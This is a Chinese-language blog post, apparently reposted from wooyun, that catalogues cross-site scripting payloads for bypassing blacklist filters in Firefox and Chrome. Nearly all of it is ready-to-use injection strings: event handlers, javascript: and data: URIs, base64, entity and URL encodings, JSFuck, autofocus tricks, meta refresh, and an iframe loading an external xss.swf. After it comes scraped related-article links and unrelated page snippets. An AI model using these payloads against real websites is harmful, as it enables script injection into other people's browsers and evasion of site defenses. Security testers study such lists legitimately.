个人很喜欢收集xss payload.在这里把自己平时挖xss时会用到的payloads列出来和大家一起分享。很希望大家能把自己的一些payload也分享出来。(由于 我是linux党,所以本文出现在的所有payload只在firefox和chrome之下进行过测试。IE不在本文的讨论范围之内。本文只以直接输出 在HTML的情况为中心进行探讨。)有错误的地方还请大家不吝赐教。

在XSS的世界里,有很多标签,事件,属性都是可以拿来执行js的。但是又都有哪一些呢?

可以执行js的标签:

<script> <a> <p> <img> <body> <button> <var> <div> <iframe> <object> <input> <select> <textarea> <keygen> <frameset> <embed> <svg> <math> <video> <audio>
所有的event都是可以执行js:

onload onunload onchange onsubmit onreset onselect onblur
onfocus onabort onkeydown onkeypress onkeyup onclick ondbclick
onmouseover onmousemove onmouseout onmouseup onforminput onformchange
ondrag ondrop


可以执行js的属性:

formaction action href xlink:href autofocus src content data

  我们为什么要去理解这些呢?因为很多网站的filter都是基于黑名单的,而因为自身对可以执行js的标签,事件和属性的不了解,会导致你绕
不过这个filter或者饶一个很大的弯子(当然也会有很多放弃的例子)。也许你正在尝试跳出的双引号是不需要跳出去的。也许你正在尝试跳出去的标签也是
不需要跳出去的。因为你已经站在了可以插入js的地方却浑然不知。这也是写本文最主要的原因。下面我将以问答的方式,对各个payload进行简单的介
绍。

我们真的需要一个合法的标签么?

<M/onclick="alert(1)">M

当目标站对关键tag做了黑名单过滤的时候,你也许可以尝试一下自定义标签。

标签和属性之间只能出现空格么?

<img/src=x onerror=alert(1)>

在有些情况下我们可以使用"/"来代替空格

二十个字符真的是最短的?

<b/ondrag=alert()>M  //其实19个字符是可以有的。请在IE下测试(wineIE8测试通过)

你真的了解【a标签】么?

你也许会告诉我,谁不知道啊!不就href里面搞个javascript伪协议然后调用js不就完了。如果你真得这么认为的话,那么我觉得你已经完了。在href当中我们不仅仅可以使用javascript我们还可以使用data URI来调用我们的js代码,像这样:

<a href=javascript:alert(2)>M

<a href=data:text/html;base64,PHNjcmlwdD5hbGVydCgzKTwvc2NyaXB0Pg==>


可以看到第一个例子就是我们最常见的方法,通过javascript伪造协议来调用js了。而在第二个例子当中我们可以看到我们不但通过data
协议来执行了javascript还对我们的payload进行了base64编码。我们可以解码看一下
PHNjcmlwdD5hbGVydCgzKTwvc2NyaXB0Pg==究竟是什么。解码之后我们可以看到是<script>
alert(3)</script>。聪明的人又会说了还整base64老子直接写也能弹。如果目标站点对<script>进行
了过滤,那么也许你的payload就会死在半路上了。当然编码方式还有很多比如urlencode,hex,demical和HTML实体编码

<a href=data:text/html;%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%2829%29%3C%2F%73%63%72%69%70%74%3E>M

<a href=jav&#97script:&#97lert(13)>M


当你在测试payload的时候你应该多细心善于了解filter真正的在过滤什么。也许它只是把":"添加到了黑名单当中,来防止你来通过伪造
协议执行js,而你却认为整个javascript或data都被过滤了。在这种情况下你就可以考虑通过html实体编码来bypass了.

<a href=javascript&colon;confirm(2)>M

其实a标签拥有的不止是href.在一些猥琐的组合之下,我们可以用这种组合来让xlink:href执行js.

<svg><a xlink:href="javascript:alert(14)"><rect
width="1000" height="1000" fill="white"/></a></svg>

<math><a xlink:href=javascript:alert(1)>M


【script标签】之弹窗姿势知多少

很多时候我们都会用<script>alert(1)</script>来测试XSS脆弱性。但是太过于规范的姿势往往
会死在半路上(因为有filter的嘛)。所以我们需要更多的姿势,来判断真正的过滤规则到底是什么。相信我,程序员的安全水平都是参差不起的,过滤
alert()的程序员我也碰到过。(此处省略3W字的吐槽)

<script>alert((+[][+[]]+[])[++[[]][+[]]]+([![]]+[])[++[++[[]][+[]]][+[]]]+([!![]]+[])[++[++[++[[]][+[]]][+[]]][+[]]]+([!![]]+[])[++[[]][+[]]]+([!![]]+[])[+[]])</script>
//想玩这个,可以在这里转换你的编码 http://www.jsfuck.com/

<script firefox>alert(1)</script>  //其实我们并不需要一个规范的script标签

<script>~'\u0061' ;  \u0074\u0068\u0072\u006F\u0077 ~
\u0074\u0068\u0069\u0073.  \u0061\u006C\u0065\u0072\u0074(~'\u0061')</script>
//

<script/src=data&colon;text/j\u0061v\u0061&#115&#99&
amp;#114&#105&#112&#116,\u0061%6C%65%72%74(/XSS/)><
/script>//在这里我们依然可以使用那些编码

<script>prompt(-[])</script> //不只是alert。prompt和confirm也可以弹窗

<script>alert(/3/)</script> //可以用"/"来代替单引号和双引号

<script>alert(String.fromCharCode(49))</script> //我们还可以用char

<script>alert(/7/.source)</script> // ".source"不会影响alert(7)的执行

<script>setTimeout('alert(1)',0)</script> //如果输出是在setTimeout里,我们依然可以直接执行alert(1)


【button标签】

应该有一部分人对于button标签的js调用还停留在通过event事件来实现。像下面的例子.

<button/onclick=alert(1) >M</button>

那么如果所有的on*(event)被过滤了,我们就没有办法了么?其实html5已经给我们带来了新的姿势

<form><button formaction=javascript&colon;alert(1)>M

也许看到这里就有人会吐槽,这种需要用户交互的啊 bla,bla,bla..(几个小时过去了)如果使用onfocus事件,再加上autofocus我们就可以达到自动弹窗,无须交互了。

<button onfocus=alert(1) autofocus>

【p标签】

如果你发现变量输出在了p标签里,先不要急着从标签跳出去,因为只要你能跳出""就已经足够了。

<p/onmouseover=javascript:alert(1); >M</p>

【img标签】

img标签没有什么好讲的了。不过值得注意的是,有些姿势是因浏览器不通而不能成功的执行的。所以在空闲时间对payload进行分类,做上可执行浏览器的注释来提高你挖掘XSS的效率。

<img src=x onerror=alert(1)>

<img src ?itworksonchrome?\/onerror = alert(1)>  //只在chrome下有效

<img src=x onerror=window.open('http://google.com');>

<img/src/onerror=alert(1)>  //只在chrome下有效

<img src="x:kcf" onerror="alert(1)">


【body标签】

没有什么特别之处,都是通过event来调用js

<body onload=alert(1)>

<body
onscroll=alert(1)><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input
autofocus>

【var标签】

<var onmouseover="prompt(1)">KCF</var>

【div标签】

<div/onmouseover='alert(1)'>X

<div style="position:absolute;top:0;left:0;width:100%;height:100%" onclick="alert(52)">


【iframe标签】

iframe这个例子当中值得一提的是,有时候我们可以通过实体编码&NewLine;&Tab(换行和tab字符)来
bypass一些filter。我们还可以通过事先在swf文件中插入我们的xss
code,然后通过src属性来调用。不过关于flash值得一提的是,只有在crossdomain.xml文件中,allow-access-
from domain=“*"允许从外部调用swf时,我们才可以通过flash来实现xss attack.

<iframe  src=j&NewLine;&Tab;a&NewLine;&Tab;&Tab;v&NewLine;&Tab;&Tab;&Tab;a&NewLine;&Tab;&Tab;&Tab;&Tab;s&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;c&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;r&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;i&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;p&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;t&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&colon;a&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;l&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;e&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;r&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;t&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;%28&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;1&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;%29></iframe>  

<iframe  src=j&Tab;a&Tab;v&Tab;a&Tab;s&Tab;c&Tab;r&Tab;i&Tab;p&Tab;t&Tab;:a&Tab;l&Tab;e&Tab;r&Tab;t&Tab;%28&Tab;1&Tab;%29></iframe>

<iframe SRC="http://0x.lv/xss.swf"></iframe>

<IFRAME SRC="javascript:alert(1);"></IFRAME>

<iframe/onload=alert(53)></iframe>


【meta标签】

很多时候,在做xss测试时,你会发现你的昵称,文章标题跑到俄meta标签里。那么你只需要跳出当前属性再添加http-
equiv="refresh",就可以构造一个有效的xss
payload了。当然一些猥琐流的玩法,会通过给http-equiv设置set-cookie来,进一步重新设置cookie来干一些猥琐的事情

<meta http-equiv="refresh" content="0;javascript&colon;alert(1)"/>?

<meta http-equiv="refresh" content="0;
url=data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E">


【object标签】

和a标签的href属性玩法是一样的,不过优点是无须交互。

<object data=data:text/html;base64,PHNjcmlwdD5hbGVydCgiS0NGIik8L3NjcmlwdD4=></object>

【marquee标签】

<marquee  onstart="alert('sometext')"></marquee>

【isindex标签】

第二个例子,值得我们注意一的是在一些只针对属性做了过滤的webapp当中,action很可能就是漏网之鱼。

<isindex type=image src=1 onerror=alert(1)>

<isindex action=javascript:alert(1) type=image>


【input标签】

没有什么特别之处,通过event来调用js。和之前的button的例子一样通过 autofocus来达到无须交互即可弹窗的效果。在这里使用到了onblur是希望大家学会举一反三。

<input onfocus=javascript:alert(1) autofocus>

<input onblur=javascript:alert(1) autofocus><input autofocus>


【select标签】

<select onfocus=javascript:alert(1) autofocus>

【textarea标签】

<textarea onfocus=javascript:alert(1) autofocus>

【keygen标签】

<keygen onfocus=javascript:alert(1) autofocus>

【frameset标签】

<FRAMESET><FRAME SRC="javascript:alert(1);"></FRAMESET>

<frameset onload=alert(1)>


【embed标签】

<embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgiS0NGIik8L3NjcmlwdD4="></embed> //chrome

<embed src=javascript:alert(1)> //firefox


【svg标签】

<svg onload="javascript:alert(1)" xmlns="http://www.w3.org/2000/svg"></svg>

<svg xmlns="http://www.w3.org/2000/svg"><g onload="javascript:alert(1)"></g></svg>  //chrome有效


【math标签】

<math href="javascript:javascript:alert(1)">CLICKME</math>

<math><y/xlink:href=javascript:alert(51)>test1

<math> <maction actiontype="statusline#http://wangnima.com"

xlink:href="javascript:alert(49)">CLICKME</maction> </math>


【video标签】

<video><source onerror="alert(1)">

<video src=x onerror=alert(48)>


【audio标签】

<audio src=x onerror=alert(47)>

姿势的介绍就在这里结束了。

说句题外话 在这些标签里面凡是出现在on*事件值里面的javascript:都是多余的。但是这个对测试者来说是很方便的。因为你可以通过一个payload来测试好几个黑名单成员

那些年我们没能bypass的xss filter的更多相关文章

  1. 那些年我们没能bypass的xss filter[from wooyun]

    原文链接:http://zone.wooyun.org/content/6899 小弟初学xss才10天.不过个人很喜欢收集xss payload.在这里把自己平时挖xss时会用到的payloads列 ...

  2. (转) fuzzing XSS filter

    //转自isno在wooyun知识库所写 题记:这是09年自己写的总结文章,之后多年也不搞这个了,技术显然是过时了,但我觉得思路还是有用的,算抛砖引玉吧,各位见笑 0x00 前言 这是一篇学习总结,首 ...

  3. IE8 XSS Filter Bypass

    漏洞说明:IE8是微软新推出的一款浏览器,其对CSS2.1的完整支持,HTML5的支持,内置开发工具等等.IE8在浏览器安全性上有非常大的改进,内置了一款无法卸载的Xss Filter,对非持久型跨站 ...

  4. XSS Filter Evasion Cheat Sheet 中文版

    前言 译者注: 翻译本文的最初原因是当我自己看到这篇文章后,觉得它是非常有价值.但是这么著名的一个备忘录却一直没有人把它翻译成中文版.很多人仅仅是简单的把文中的 各种代码复制下来,然后看起来很刁的发在 ...

  5. XSS Filter绕过

    之前挖到某金融网站的xss 但是困于xss filter无奈不好下手.只能在火狐下弹窗. 以下该图是我的测试. 后来发给一个Invoker哥们儿.成功给我发来payload成功绕过了XSS Filte ...

  6. 反射型xss绕过IE xss filter

    反射xss利用方法,绕过IE XSS Filter 假设 1.php页面代码如下: echo $_GET['str']; 使用IE浏览器访问该页面 1.php?str=<xss code> ...

  7. XSS Attacks - Exploiting XSS Filter

    XSS Attacks - Exploiting XSS Filter mramydnei · 2015/12/21 10:11 from:http://l0.cm/xxn/ 0x00 前言 这又是一 ...

  8. (转) XSS Attacks – Exploiting XSS Filter

    中文翻译: from wooyun'drops 0x00 前言 这又是一篇来自全职赏金猎人Masato kinugawa的神作.一次双杀,用一篇报告拿下了两个CVE,分别是CVE-2015-6144和 ...

  9. A XSS filter for Java EE web apps--转载

    原文地址:http://java.dzone.com/articles/xss-filter-java-ee-web-apps Cross Site Scripting, or XSS, is a f ...

随机推荐

  1. wx.html2.WebView在 target="_blank" or rel="external" 没有反映的解决方法

    在wx.html2.EVT_WEBVIEW_LOADED中,用WebView.RunScript运行删除链接目标的脚本 javaScriptStr = '''function deleteBlank( ...

  2. 如何从sun公司官网下载java API文档(转载)

    相信很多同人和我一样,想去官网下载一份纯英文的java API文档,可使sun公司的网站让我实在很头疼,很乱,全是英文!所以就在网上下载了别人提供的下载!可是还是不甘心!其实多去看看这些英文的技术网站 ...

  3. How to Optimize Battery Health?

    1. click on the battery icon from taskbar next to the date and time. 2. click "More power optio ...

  4. WIN7实现多人远程一台电脑

    今天查了查网,发现有人说,WIN7可以实现多人远程一台电脑,于是乎我就试了试, 在工作办公室里的局域网里试了试,嘿,成功了,愿与大家分享一下,呵呵! 方法一: 多用户早就能破解了 方法如下:用UE打开 ...

  5. php 用面向对象的方法对数据库增删改查

    主页面 <body> <h1>主页面</h1> <table width="100%" border="1" cell ...

  6. C#学习笔记---修饰符,this关键字和static关键字

    1.  C#中类的修饰符: public 表示不限制对该类的访问  protected 表示只能从所在类和所在类派生的子类进行访问    private 只有其所在类才能访问 internal 只有对 ...

  7. ubuntu下安装jdk

    参考:http://blog.csdn.net/gobitan/article/details/24322561 Ubuntu Linux下安装Oracle JDK Dennis Hu 2014-4- ...

  8. Row_Number() OVER 的用法

    Row_Number() OVER 的用法: 为每一条分组记录返回一个数字. 参考博友 , 博友二

  9. 【codevs2822】爱在心中 tarjan 缩点+理解

    [codevs2822]爱在心中 2014年1月26日5580 题目描述 Description “每个人都拥有一个梦,即使彼此不相同,能够与你分享,无论失败成功都会感动.爱因为在心中,平凡而不平庸, ...

  10. Winedt打开tex文件报错error reading的解决方案

    我刚装就发现winedt打开一些.tex文件时会出现reading error,然后看不到任何文字(网上有人讨论打开是乱码的问题,但是我的是完全看不到任何东西),我的系统winxp,网上有人说好像是和 ...